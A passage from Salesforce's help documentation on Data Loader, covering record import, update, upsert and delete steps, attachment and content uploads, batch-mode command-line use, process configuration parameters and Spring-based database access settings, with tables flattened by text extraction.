records, or delete existing records. Note that upsert is a combination of inserting and updating - if a record in your file
matches an existing record, the existing record is updated with the values in your file. If no match is found, then the record is
created as new. When you hard delete records, the deleted records are not stored in the Recycle Bin and become immediately
eligible for deletion. For more information, see Configuring Data Loader on page 828.
1. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
2. Click Insert, Update, Upsert, Delete or Hard Delete. These commands can also be found in the File menu.
3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next.
(Until you log out or close the program, you are not asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce
automatically sends you an activation email that you can use to log in. The email contains a security token that you must
add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, if you are inserting Account records, select Account. If your object name does not display
in the default list, check Show all objects to see a complete list of the objects that you can access. The objects are
listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Object Reference
for Salesforce and Force.com.
5. Click Browse... to select your CSV file. For example, if you are inserting Account records, you could specify a CSV file
named insertaccounts.csv containing a Name column for the names of the new accounts.
6. Click Next. After the object and CSV file are initialized, click OK.
7. If you are performing an upsert:
a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either
an external ID (a custom field with the External ID attribute), or Id (the Salesforce record ID). From the drop-down
list, select which field to use for matching. If the object has no external ID fields, Id is automatically used. For more
information on external IDs, see Custom Field Attributes on page 1081. Click Next to continue.
b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID
for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the
related object's Id field for matching by mapping it in the next step. Click Next to continue.

837

Data Management

Inserting, Updating, or Deleting Data Using Data Loader

8. Define how the columns in your CSV file map to Salesforce fields. Click Choose an Existing Map to select an existing
field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details and an
example of usage, see Defining Field Mappings on page 836.
9. Click Next.
10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with success, while the
other starts with error. Click Browse... to specify a directory for these files.
11. Click Finish to perform the operation, and then click Yes to confirm.
12. As the operation proceeds, a progress information window reports the status of the data movement.
13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success
file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files
on page 841.
Tip:

If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass
Deletes for tips and best practices.
There is a five-minute limit to process 100 records when the Bulk API is enabled. Also, if it takes longer than 10
minutes to process a file, the Bulk API places the remainder of the file back in the queue for later processing. If
the Bulk API continues to exceed the 10-minute limit on subsequent attempts, the file is placed back in the queue
and reprocessed up to 10 times before the operation is permanently marked as failed. Even if the processing failed,
some records could have completed successfully, so you must check the results. If you get a timeout error when
loading a file, split your file into smaller files, and try again.

Performing Mass Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To update a large number of records at one time, we recommend the following steps:
1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data
on page 835, or Running Reports on page 2921. Make sure your report includes the record ID.
2. As a backup measure, save an extra copy of the generated CSV file.
3. Open your working file in a CSV editor such as Excel, and update your data.
4. Launch Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting,
Updating, or Deleting Data Using Data Loader on page 837.
5. After the operation, review your success and error log files. See Reviewing Output Files on page 841.
6. If you made a mistake, use the backup file to update the records to their previous values.

838

Data Management

Uploading Attachments

Performing Mass Deletes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To delete a large number of records at one time using Data Loader, we recommend the following steps:
1. As a backup measure, export the objects you wish to delete, being sure to select all fields. (See Exporting Data on page
835.) Save an extra copy of the generated CSV file.
2. Next, export the objects you wish to delete, this time using only the record ID as the desired criteria.
3. Launch the Data Loader and follow the delete or hard delete wizard. Map only the ID column. See Inserting, Updating,
or Deleting Data Using Data Loader on page 837.
4. After the operation, review your success and error log files. See Reviewing Output Files on page 841.

Uploading Attachments
You can use Data Loader to upload attachments to Salesforce. Before uploading attachments, note the following:

If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings >
Settings page is enabled.
If you are migrating attachments from a source Salesforce organization to a target Salesforce organization, begin by
requesting a data export for the source organization. On the Schedule Export page, make sure to select the Include
Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can use this
CSV file to upload the attachments. For more information on the export service, see Exporting Backup Data on page 750.

To upload attachments:
1. Confirm that the CSV file you intend to use for attachment importing contains the following required columns (each
column represents a Salesforce field):

ParentId - the Salesforce ID of the parent record.


Name - the name of the attachment file, such as myattachment.jpg.
Body - the absolute path to the attachment on your local drive.

Ensure that the values in the Body column contain the full file name of the attachments as they exist on your computer.
For example, if an attachment named myattachment.jpg is located on your computer at C:\Export, Body must
specify C:\Export\myattachment.jpg. Your CSV file might look like this:
ParentId,Name,Body
50030000000VDowAAG,attachment1.jpg,C:\Export\attachment1.gif
701300000000iNHAAY,attachment2.doc,C:\Export\files\attachment2.doc

The CSV file can also include other optional Attachment fields, such as Description.
2. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using Data Loader on page 837. At
the Select data objects step, make sure to select the Show all Salesforce objects checkbox and the
Attachment object name in the list.

839

Data Management

Uploading Content with the Data Loader

Uploading Content with the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

You can use Data Loader to bulk upload documents and links into libraries in Salesforce CRM Content. Before uploading
documents or links, note the following:

If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings >
Settings page is enabled.
When you upload a document from your local drive using Data Loader, you must specify the actual path in the
VersionData and PathOnClient fields in the CSV file. VersionData identifies the location and extracts the format
and PathOnClient identifies the type of document being uploaded.
When you upload a link using the Data Loader, you must specify the URL in ContentUrl. Do not use PathOnClient
or VersionData to upload links.
You can't export content using the Data Loader.

1. Create a CSV file with the following fields:

Title - file name.


Description - (optional) file or link description.

Note: If there are commas in the description, use double quotes around the text.

VersionData - complete file path on your local drive (for uploading documents only).

Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.

PathOnClient - complete file path on your local drive (for uploading documents only).
ContentUrl - URL (for uploading links only).
OwnerId - (optional) file owner, defaults to the user uploading the file.
FirstPublishLocationId - library ID.
RecordTypeId - content type ID.

Note: If you publish to a library that has restricted content types, you must specify RecordTypeId.

To determine the RecordTypeId values for your organization using Data Loader, follow the steps in Exporting Data.
Your SOQL query might look like this:
Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'

To determine the RecordTypeId values for your organization using the AJAX Toolkit:
a. Log in to Salesforce.

840

Data Management

Reviewing Output Files

b. Enter this URL in your browser:


http://instanceName.salesforce.com/soap/ajax/25.0/debugshell.html. Enter the instanceName,
such as na1, for your organization. You can see the instanceName in the URL field of your browser after logging

in to Salesforce.
c. In the AJAX Toolkit Shell page type:
sforce.connection.describeSObject("ContentVersion")

d. Press Enter.
e. Click on the arrows for recordTypeInfos.
All of the RecordTypeId values for your organization are listed.

TagsCsv - (optional) tag.

A sample CSV file is:


Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv
testfile,"This is a test file, use for bulk
upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using Data Loader on page
837. All documents and links will be available in the specified library.

Reviewing Output Files


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

After every import or export, Data Loader generates two CSV output files that contain the results of the operation. One file
name starts with success, while the other starts with error. During every export, Data Loader saves the extracted data to a
CSV file that you specify in the wizard. Data Loader has a built-in CSV file viewer with which you can open and view these
files.
To view output files from a Data Loader operation:
1. Choose View > View CSV.
2. Specify the number of rows to view. Each row in the CSV file corresponds to one Salesforce record. The default is 1000.
3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last
error file, click Open Error. The CSV file opens in a new window.
4. Optionally, click Open in External Program to open the file in the associated external program, such as Microsoft Office
Excel.
The success file contains all of the records that were successfully loaded. In this file, there's a column for the newly
generated record IDs. The error file contains all of the records that were rejected from the load operation. In this file,
there's a column that describes why the load failed.
5. Click Close to return to the CSV Chooser window, and then click OK to exit the window.

841

Running Batch Processes

Troubleshooting Data Loader Operations

Note: To generate success files when exporting data, select the Generate status files for exports setting.
For more information, see Configuring Data Loader on page 828.

Troubleshooting Data Loader Operations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

If you need to investigate a problem with Data Loader, or if requested by salesforce.com Customer Support, you can access
log files that track the operations and network connections made by Data Loader. The two log files are:
sdl.log
Contains a detailed chronological list of Data Loader log entries. Log entries marked INFO are procedural items, such
as logging in to Salesforce. Log entries marked ERROR are problems such as a submitted record missing a required
field.
sdl_out.log
A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for
the creation of proxy server network connections.
These files can be opened with commonly available text editor programs, such as Microsoft Notepad.
You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or
the Windows Explorer address bar.
If you are having login issues from the command line, ensure that the password provided in the configuration parameters is
encrypted. If you are having login issues from the UI, you may need to obtain a new security token.

RUNNING BATCH PROCESSES


Running in Batch Mode
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

You can run Data Loader in batch mode from the command line. See the following topics:

Understanding Installed Directories and Files


Encrypting From the Command Line
Upgrading Your Batch Mode Interface
Using the Command Line Interface
Configuring Batch Processes
Data Loader Process Configuration Parameters

842

Data Management

Understanding Installed Directories and Files

Data Loader Command Line Operations


Configuring Database Access
Mapping Columns
Running Individual Batch Processes
Data Access Objects

Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your
Batch Mode Interface on page 844.

Understanding Installed Directories and Files


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In versions 8.0 and later, installing the Data Loader creates several directories under the installation directory. The following
directories are involved in running the program from the command line for automated batch processing:
bin
Contains the batch files encrypt.bat for encrypting passwords and process.bat for running batch processes.
For information on running the Data Loader from the command line, see Using the Command Line Interface on page
845.
conf
The default configuration directory. Contains the configuration files config.properties, Loader.class, and
log-conf.xml.
The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is
located at C:\Documents and Settings\your Windows username\Application
Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory
to use it for batch processes.
samples
Contains subdirectories of sample files for reference.
File Path Convention
The file paths provided in these topics start one level below the installation directory. For example, \bin means C:\Program
Files \salesforce.com\Data Loader version_number\bin, provided you accepted the default installation directory.
If you installed the program to a different location, please substitute that directory path as appropriate.

Encrypting From the Command Line


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, you must encrypt the following configuration parameters:

843

Data Management

Upgrading Your Batch Mode Interface

sfdc.password
sfdc.proxyPassword

Use the utility described below to perform encryption.


Using the Encryption Utility
Data Loader offers an encryption utility to secure passwords specified in configuration files. This utility is used to encrypt
passwords, but data that you transmit using Data Loader is not encrypted.
1. Run \bin\encrypt.bat.
2. At the command line, follow the prompts provided to execute the following actions:
Generate a key
Key text is generated on screen from the text you provide. Carefully copy the key text to a key file, omitting any
leading or trailing spaces. The key file can then be used for encryption and decryption.
Encrypt text
Generates an encrypted version of a password or other text. Optionally, you can provide a key file for the encryption.
In the configuration file, make sure that the encrypted text is copied precisely and the key file is mentioned.
Verify encrypted text
Given encrypted and decrypted versions of a password, verifies whether the encrypted password provided matches
its decrypted version. A success or failure message is printed to the command line.

Upgrading Your Batch Mode Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The batch mode interface in Data Loader versions 8.0 and later arent backwards-compatible with earlier versions. If youre
using a version earlier than 8.0 to run batch processes, your options are as follows:
Maintain the old version for batch use
Do not uninstall your old version of Data Loader. Continue to use that version for batch processes. You cant take
advantage of newer features such as database connectivity, but your integrations will continue to work. Optionally, install
the new version alongside the old version and dedicate the old version solely to batch processes.
Generate a new config.properties file from the new GUI
If you originally generated your config.properties file from the graphical user interface, use the new version to set
the same properties and generate a new file. Use this new file with the new batch mode interface. For more information,
see Using the Command Line Interface on page 845.
Manually update your config.properties file
If your old config.properties file was created manually, then you must manually update it for the new version. For
more information, see Understanding Installed Directories and Files on page 843.

844

Data Management

Using the Command Line Interface

Using the Command Line Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

For automated batch operations such as nightly scheduled loads and extractions, run Data Loader from the command line.
Before running any batch operation, be sure to include your encrypted password in the configuration file. For more information,
see Command Line Quick Start on page 861 and Encrypting From the Command Line on page 843. From the command line,
navigate to the bin directory and type process.bat, which takes the following parameters:

The directory containing config.properties.


The name of the batch process bean contained in process-conf.xml.

For more information about using process.bat, see Running Individual Batch Processes on page 860.
To view tips and instructions, add -help to the command contained in process.bat.
Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not specify
a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the following
location:
C:\Program Files\salesforce.com\Data Loader version number\conf

You use the process-conf.xml file to configure batch processing. Set the name of the process in the bean element's id
attribute: (for example <bean id="myProcessName">).
If you want to implement enhanced logging, use a copy of log-conf.xml.
You can change parameters at runtime by giving param=value as program arguments. For example, adding
process.operation=insert to the command changes the configuration at runtime.
You can set the minimum and maximum heap size. For example, -Xms256m -Xmx256m sets the heap size to 256 MB.
Note: These topics only apply to Data Loader version 8.0 and later.

Tip:
If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please
try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting
From the Command Line on page 843.

Configuring Batch Processes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use \samples\conf\process-conf.xml to configure your Data Loader processes, which are represented by ProcessRunner
beans. A process should have ProcessRunner as the class attribute and the following properties set in the configuration
file:

845

Data Management

Data Loader Process Configuration Parameters

name
Sets the name of the ProcessRunner bean. This value is also used as the non-generic thread name and for configuration
backing files (see below).
configOverrideMap
A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the
setting value.
enableLastRunOutput
If set to true (the default), output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are generated and saved to the location specified by
lastRunOutputDirectory. If set to false, the files are not generated or saved.
lastRunOutputDirectory
The directory location where output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput
is set to false, this value is not used because the files are not generated.
The configuration backing file stores configuration parameter values from the last run for debugging purposes, and is used to
load default configuration parameters in config.properties. The settings in configOverrideMap take precedence over
those in the configuration backing file. The configuration backing file is managed programmatically and does not require any
manual edits.
For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters
on page 846.

Data Loader Process Configuration Parameters


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader from the command line, you can specify the following configuration parameters in the
process-conf.xml file. In some cases, the parameter is also represented in the graphical user interface at Settings > Settings.
Tip: A sample process-conf.xml file can be found in the \samples directory that's installed with Data Loader.

Parameter Name

Data
Type

Equivalent
Option in
Settings
Dialog

Description

Select this option to force files to open in UTF-8

dataAccess.readUTF8

boolean

Read all encoding, even if they were saved in a different


CSVs with format.
UTF-8
encoding Sample value: true

846

Data Management

Parameter Name

dataAccess.writeUTF8

dataAccess.name

Data Loader Process Configuration Parameters

Data
Type

boolean

string

Equivalent
Option in
Settings
Dialog

Description

Write all Select this option to force files to be written in


CSVs with UTF-8 encoding.
UTF-8
encoding Sample value: true

Not
applicable
(N/A)

Name of the data source to use, such as a CSV


file name. For databases, use the name of the
database configuration in database-conf.xml.
Sample value:
c:\dataloader\data\extractLead.csv

Number of records read from the database at a


time. The maximum value is 200.
dataAccess.readBatchSize

integer

N/A

Sample value: 50
Standard or custom data source type. Standard
types are csvWriter, csvRead,
databaseWrite, and databaseRead.

dataAccess.type

string

N/A

Sample value: csvWrite


Number of records written to the database at a
time. The maximum value is 2,000. Note the
implication for a large parameter value: if an error
occurs, all records in the batch are rolled back. In
contrast, if the value is set to 1, each record is
processed individually (not in batch) and errors
are specific to a given record. We recommend
setting the value to 1 when you need to diagnose
problems with writing to a database.

dataAccess.writeBatchSize

process.enableExtractSuccessOutput

process.enableLastRunOutput

Sample value: 500

integer

N/A

boolean

Generate Select this option to generate success and error


status
files when exporting data.
files for
Sample value: true
exports

boolean

N/A

When running Data Loader in batch mode, you


can disable the generation of output files such as
sendAccountsFile_lastRun.properties.
Files of this type are saved by default to the conf
directory. To stop the writing of these files, set
this option to false.

847

Data Management

Parameter Name

Data Loader Process Configuration Parameters

Data
Type

Equivalent
Option in
Settings
Dialog

Description

Alternatively, you can change the location of the


directory where these files are saved, using
process.lastRunOutputDirectory.
Sample value: true

process.encryptionKeyFile

string
(file
name)

Name of the file that contains the encryption key.


See Encrypting From the Command Line on
page 843.
N/A

Sample value: c:\dataloader\conf\my.key


The initial setting for the
process.lastRunDate parameter, which can

be used in a SQL string and is automatically


updated when a process has run successfully. For
an explanation of the date format syntax, see Date
Formats on page 833.
Format must be
yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm. For
process.initialLastRunDate

date

N/A

example: 2006-04-13T13:50:32.423-0700
When running Data Loader in batch mode, you
can change the location where output files such
as
sendAccountsFile_lastRun.properties

are written. Files of this type are saved by default


to the \conf directory. To change the location,
change the value of this option to the full path
where the output files should be written.

process.lastRunOutputDirectory

string
(directory) N/A

Alternatively, you can stop the files from being


written, using
process.enableLastRunOutput.
If your last operation failed, you can use this
setting to begin where the last successful
operation finished.

process.loadRowToStartAt

process.mappingFile

number

string
(file
name)

Start at
row

Sample value: 1008


Name of the field mapping file to use. See
Mapping Columns on page 859.
Sample value:

N/A

c:\dataloader\conf\accountExtractMap.sdl

848

Data Management

Parameter Name

Data Loader Process Configuration Parameters

Data
Type

Equivalent
Option in
Settings
Dialog

Description

The operation to perform. See Data Loader


Command Line Operations on page 854.
process.operation

process.statusOutputDirectory

process.outputError

string

N/A

string
(directory) N/A

string
(file
name)

Sample value: extract


The directory where success and error output
files are saved. The file names are automatically
generated for each operation unless you specify
otherwise in process-conf.xml.
Sample value: c:\dataloader\status
The name of the CSV file that stores error data
from the last operation.
Sample value:

N/A

c:\dataloader\status\myProcessErrors.csv

The name of the CSV file that stores success data


from the last operation. See also
process.enableExtractSuccessOutput

process.outputSuccess

process.useEuropeanDates

on page 847.

string
(file
name)

N/A

c:\dataloader\status\myProcessSuccesses.csv

Select this option to support the date formats


dd/MM/yyyy and dd/MM/yyyy HH:mm:ss.

boolean

Use
European
date
format

Sample value:

Sample value: true


Specify the ID of the assignment rule to use for
inserts, updates, and upserts. This option applies
to inserts, updates, and upserts on cases and leads.
It also applies to updates on accounts if your
organization has territory assignment rules on
accounts. The assignment rule overrides Owner
values in your CSV file.

sfdc.assignmentRule

string

Assignment
Sample value: 03Mc00000026J7w
rule

The number of milliseconds to wait between


successive checks to determine if the asynchronous
Bulk API operation is complete or how many
records have been processed. See also
sfdc.useBulkApi. We recommend a value of
5000.
sfdc.bulkApiCheckStatusInterval

integer

N/A

Sample value: 5000

849

Data Management

Parameter Name

sfdc.bulkApiSerialMode

sfdc.bulkApiZipContent

Data Loader Process Configuration Parameters

Data
Type

boolean

boolean

Equivalent
Option in
Settings
Dialog

Enable
serial
mode for
Bulk API

Upload
Bulk API
Batch as
Zip File

Description

Select this option to use serial instead of parallel


processing for Bulk API. Processing in parallel
can cause database contention. When this is
severe, the load may fail. Using serial mode
guarantees that batches are processed one at a
time. Note that using this option may significantly
increase the processing time for a load. See also
sfdc.useBulkApi.
Sample value: false
Select this option to use Bulk API to upload zip
files containing binary attachments, such as
Attachment records or Salesforce CRM Content.
See also sfdc.useBulkApi.
Sample value: true
The number of seconds to wait for a connection
during API calls.

sfdc.connectionTimeoutSecs

integer

N/A

Sample value: 60
If true, enables SOAP message debugging. By
default, messages are sent to STDOUT unless
you specify an alternate location in
sfdc.debugMessagesFile.

sfdc.debugMessages

boolean

N/A

Sample value: false


See
process.enableExtractSuccessOutput

sfdc.debugMessagesFile

string
(file
name)

on page 847. Stores SOAP messages sent to or


from Salesforce. As messages are sent or received,
they are appended to the end of the file. As the
file does not have a size limit, please monitor your
available disk storage appropriately.
Sample value:
N/A

\lexiloader\status\sfdcSoapTrace.log

If true, enables repeated attempts to connect to


Salesforce servers. See sfdc.maxRetries on
page 852 and sfdc.minRetrySleepSecs on
page 852.
sfdc.enableRetries

boolean

N/A

Sample value: true

850

Data Management

Parameter Name

Data Loader Process Configuration Parameters

Data
Type

Equivalent
Option in
Settings
Dialog

Description

Enter the URL of the Salesforce server with


which you want to communicate. For example,
if you are loading data into a sandbox, change the
URL to https://test.salesforce.com.

sfdc.endpoint

URL

Server
host

Sample production value:


https://login.salesforce.com/services/Soap/u/25.0

The Salesforce object used in the operation.


sfdc.entity

string

N/A

Sample value: Lead


Used in upsert operations; specifies the custom
field with the External ID attribute that is used
as a unique identifier for data matching. For more
information about external IDs, see Custom Field
Attributes on page 1081.

sfdc.externalIdField

sfdc.extractionRequestSize

string

integer

N/A

Query
request
size

Sample value: LegacySKU__c


In a single export or query operation, records are
returned from Salesforce in increments of this
size. The maximum value is 2,000 records. Larger
values may improve performance but use more
memory on the client.
Sample value: 500
The SOQL query for the data export. For more
information on SOQL, see the Salesforce SOQL
and SOSL Reference Guide.
Sample value: SELECT Id, LastName,

sfdc.extractionSOQL

sfdc.insertNulls

sfdc.loadBatchSize

string

boolean

integer

N/A

Insert
null
values

Batch
size

FirstName, Rating, AnnualRevenue,


OwnerId FROM Lead

Select this option to insert blank mapped values


as null values during data operations. Note that
when you are updating records, this option
instructs Data Loader to overwrite any existing
data in mapped fields.
Sample value: false
In a single insert, update, upsert, or delete
operation, records moving to or from Salesforce
are processed in increments of this size. The
maximum value is 200. We recommend a value
between 50 and 100.

851

Data Management

Parameter Name

Data Loader Process Configuration Parameters

Data
Type

Equivalent
Option in
Settings
Dialog

Description

Sample value: 100


The maximum number of repeated attempts to
connect to Salesforce. See
sfdc.enableRetries on page 850.
sfdc.maxRetries

integer

N/A

Sample value: 3
The minimum number of seconds to wait
between connection retries. The wait time
increases with each try. See
sfdc.enableRetries on page 850.

sfdc.minRetrySleepSecs

integer

N/A

Sample value: 2
Compression enhances the performance of Data
Loader and is turned on by default. You may want
to disable compression if you need to debug the
underlying SOAP messages. To turn off
compression, enable this option.

sfdc.noCompression

sfdc.password

boolean

Compression Sample value: false

encrypted
string
N/A

An encrypted Salesforce password that


corresponds to the username provided in
sfdc.username. See also Encrypting From the
Command Line on page 843.
Sample value: 4285b36161c65a22
The host name of the proxy server, if applicable.

sfdc.proxyHost

sfdc.proxyPassword

URL

Proxy
host

encrypted Proxy
string
password

Sample value:
http://myproxy.internal.company.com

An encrypted password that corresponds to the


proxy username provided in
sfdc.proxyUsername. See also Encrypting
From the Command Line on page 843.
Sample value: 4285b36161c65a22
The proxy server port.

sfdc.proxyPort

integer

Proxy
port

string

Proxy
username

Sample value: 8000


The username for proxy server authentication.

sfdc.proxyUsername

Sample value: jane.doe

852

Data Management

Parameter Name

Data Loader Process Configuration Parameters

Data
Type

Equivalent
Option in
Settings
Dialog

Description

By default, Salesforce resets the URL after login


to the one specified in sfdc.endpoint. To turn
off this automatic reset, disable this option by
setting it to false.
sfdc.resetUrlOnLogin

boolean

Reset URL
on Login Valid values: true (default), false

Specify how many seconds Data Loader waits to


receive a response back from the server before
returning an error for the request.
sfdc.timeoutSecs

integer

Timeout

Sample value: 540


If a date value does not include a time zone, this
value is used.

If no value is specified, the time zone of the


computer where Data Loader is installed is
used.
If an incorrect value is entered, GMT is used
as the time zone and this fact is noted in the
Data Loader log.

Valid values are any time zone identifier which


can be passed to the Java
getTimeZone(java.lang.String) method.
The value can be a full name such as
America/Los_Angeles, or a custom ID such
as GMT-8:00.

sfdc.timezone

string

You can retrieve the default value by running the


TimeZone.getDefault() method in Java.
This value is the time zone on the computer
Time Zone where Data Loader is installed.
Select this option to truncate data in the following
types of fields when loading that data into
Salesforce: Email, Multi-select Picklist, Phone,
Picklist, Text, and Text (Encrypted).
In Data Loader versions 14.0 and earlier, values
for fields of those types are truncated by Data
Loader if they are too large. In Data Loader
version 15.0 and later, the load operation fails if
a value is specified that is too large.

sfdc.truncateFields

boolean

Allow
field
Selecting this option allows you to specify that
truncation the previous behavior, truncation, be used instead

853

Data Management

Parameter Name

Data Loader Command Line Operations

Data
Type

Equivalent
Option in
Settings
Dialog

Description

of the new behavior in Data Loader versions 15.0


and later. This option is selected by default and
has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk
API option is selected. In that case, the load
operation fails for the row if a value is specified
that is too large for the field.
Sample value: true
Select this option to use the Bulk API to insert,
update, upsert, delete, and hard delete records.
The Bulk API is optimized to load or delete a
large number of records asynchronously. Its faster
than the default SOAP-based API due to parallel
processing and fewer network round-trips. See
also sfdc.bulkApiSerialMode.
sfdc.useBulkApi

boolean

Use Bulk
API

Sample value: true


Salesforce username. See sfdc.password.

sfdc.username

string

N/A

Sample value: jdoe@mycompany.com

Data Loader Command Line Operations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, several operations are supported. An operation represents
the flow of data between Salesforce and an external data source such as a CSV file or a database. See the following list of
operation names and descriptions.
Extract
Uses a Salesforce Object Query Language to export a set of records from Salesforce, then writes the exported data to a
data source. Soft-deleted records are not included.
Extract All
Uses a Salesforce Object Query Language to export a set of records from Salesforce, including both existing and soft-deleted
records, then writes the exported data to a data source.
Insert
Loads data from a data source into Salesforce as new records.

854

Data Management

Configuring Database Access

Update
Loads data from a data source into Salesforce, where existing records with matching ID fields are updated.
Upsert
Loads data from a data source into Salesforce, where existing records with a matching custom external ID field are
updated; records without matches are inserted as new records.
Delete
Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted.
Hard Delete
Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted without being
stored first in the Recycle Bin.

Configuring Database Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When you run Data Loader in batch mode from the command line, use \samples\conf\database-conf.xml to configure
database access objects, which you use to extract data directly from a database.
DatabaseConfig Bean
The top-level database configuration object is the DatabaseConfig bean, which has the following properties:
sqlConfig
The SQL configuration bean for the data access object that interacts with a database.
dataSource
The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource
such as org.apache.commons.dbcp.BasicDataSource.
The following code is an example of a DatabaseConfig bean:
<bean id="AccountInsert"
class="com.salesforce.dataloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>
</bean>

DataSource
The DataSource bean sets the physical information needed for database connections. It contains the following properties:
driverClassName
The fully qualified name of the implementation of a JDBC driver.
url
The string for physically connecting to the database.

855

Data Management

Configuring Database Access

username
The username for logging in to the database.
password
The password for logging in to the database.
Depending on your implementation, additional information may be required. For example, use
org.apache.commons.dbcp.BasicDataSource when database connections are pooled.
The following code is an example of a DataSource bean:
<bean id="oracleRepDataSource"
class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url" value="jdbc:oracle:thin:@myserver.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>
</bean>

Spring Framework Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Data Loader configuration files are based on the Spring Framework, which is an open source full-stack Java/J2EE
application framework.
The Spring Framework allows you to use XML files to configure beans. Each bean represents an instance of an object; the
parameters correspond to each object's setter methods. A typical bean has the following attributes:
id
Uniquely identifies the bean to XmlBeanFactory, which is the class that gets objects from an XML configuration file.
class
Specifies the implementation class for the bean instance.
For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com
cannot guarantee the availability or accuracy of external websites.

Data Access Objects


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, several data access objects are supported. A data access
object allows access to an external data source outside of Salesforce. They can implement a read interface (DataReader), a
write interface (DataWriter), or both. See the following list of object names and descriptions.

856

Data Management

Configuring Database Access

csvRead
Allows the reading of a comma or tab-delimited file. There should be a header row at the top of the file that describes
each column.
csvWrite
Allows writing to a comma or tab-delimited file. A header row is added to the top of the file based on the column list
provided by the caller.
databaseRead
Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 855.
databaseWrite
Allows writing to a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 855.

SQL Configuration
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, the SqlConfig class contains configuration parameters
for accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very
similar. The bean must be of type com.salesforce.dataloader.dao.database.SqlConfig and have the following
properties:
sqlString

The SQL code to be used by the data access object.


The SQL can contain replacement parameters that make the string dependent on configuration or operation variables.
Replacement parameters must be delimited on both sides by @ characters. For example, @process.lastRunDate@.
sqlParams

A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry
represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java
type to be used when the parameter is set on the SQL statement. Note that java.sql types are sometimes required, such
as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.
columnNames

Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted
by executing the SQL. The column names are used to access and return the output to the caller of the DataReader
interface.
SQL Query Bean Example
<bean id="accountMasterSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">

857

Data Management

Configuring Database Access

<property name="sqlString"/>
<value>
SELECT distinct
'012x00000000Ij7' recordTypeId,
accounts.account_number,
org.organization_name,
concat (concat(parties.address1, ' '), parties.address2) billing_address,
locs.city,
locs.postal_code,
locs.state,
locs.country,
parties.sic_code
from
ar.hz_cust_accounts accounts,
ar.hz_organization_profiles org,
